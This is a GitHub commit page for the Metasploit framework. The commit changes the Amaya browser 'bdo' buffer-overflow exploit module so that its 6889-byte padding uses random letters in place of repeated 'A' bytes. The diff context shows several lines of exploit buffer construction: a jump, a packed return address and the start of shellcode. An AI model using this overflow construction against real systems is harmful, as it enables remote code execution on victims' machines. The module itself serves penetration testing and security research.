Skip to content

Commit e690583

Browse files
committed
Land rapid7#2960, rand_text_alpha for amaya_bdo
2 parents 1aa1766 + 32c02dd commit e690583

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/browser/amaya_bdo.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ def on_request_uri(cli, request)
5454

5555
# Set the exploit buffer
5656
sploit = "<bdo dir=\""
57-
sploit += "\x41" * 6889
57+
sploit += rand_text_alpha(6889)
5858
sploit += "\x74\x06\x41\x41"
5959
sploit += [target.ret].pack('V')
6060
sploit += "\x68\x7f\x01\x01\x7f" # push 7F01017F

0 commit comments

Comments
 (0)